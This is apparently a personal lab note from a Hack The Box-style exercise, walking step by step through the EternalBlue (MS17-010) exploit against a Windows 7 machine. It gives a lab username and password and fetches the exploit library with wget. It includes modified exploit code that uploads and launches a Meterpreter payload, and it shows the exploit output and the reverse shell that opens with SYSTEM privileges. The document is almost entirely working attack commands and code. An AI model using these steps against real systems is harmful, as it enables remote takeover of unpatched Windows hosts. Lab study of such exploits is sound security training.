Eternalblue manual

Thursday, 5 March 2020 10:48 AM

Need credential:
Username -> localadmin
Password -> P@ssw0rd

Source: https://medium.com/@sdgeek/hack-the-box-htb-blue-115b3f563125

Run pipe auditor

```
msf5 auxiliary(scanner/smb/pipe_auditor) > run

[+] 192.168.218.138:445   - Pipes: \netlogon, \lsarpc, \samr, \browser, \atsvc, \epmapper, \eventlog,
ay, \protected_storage, \scerpc, \srvsvc, \trkwks, \wkssvc
[*] blue:                 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smb/pipe_auditor) >
```

Get required library

```
 2014  wget https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py
```

Enter username / password

```
USERNAME = 'localadmin'
PASSWORD = 'P@ssw0rd'
```

Modify the exploit

```
def smb_pwn(conn, arch):
        smbConn = conn.get_smbconnection()

        print('creating file c:\\pwned.txt on the target')
        tid2 = smbConn.connectTree('C$')
        fid2 = smbConn.createFile(tid2, '/pwned.txt')
        smbConn.closeFile(tid2, fid2)
        smbConn.disconnectTree(tid2)

        # 1st line to store files remotely to c:\blue.exe
        # 2nd line to launch meterpreter payload
        smb_send_file(smbConn, '/tmp/blue/blue.exe', 'C', '/blue.exe')
        service_exec(conn, r'cmd /c c:\\blue.exe')
```

Run listener

```
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.218.131:12345
```

Run exploit

```
root@kali:/tmp/blue# python exploit.py  192.168.218.138 ntsvcs
Target OS: Windows 7 Professional 7601 Service Pack 1
Target is 64 bit
Got frag size: 0x10
GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xfa0
CONNECTION: 0xfffffa800300d300
SESSION: 0xfffff8a002aed260
FLINK: 0xfffff8a002c45088
InParam: 0xfffff8a002c3f15c
MID: 0x2e01
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
creating file c:\pwned.txt on the target
Opening SVCManager on 192.168.218.138.....
```

Reverse shell popped

```
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.218.131:12345
[*] Sending stage (206403 bytes) to 192.168.218.138
[*] Meterpreter session 1 opened (192.168.218.131:12345 -> 192.168.218.138:49170) at 2020-03-05 10:47:12 +0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```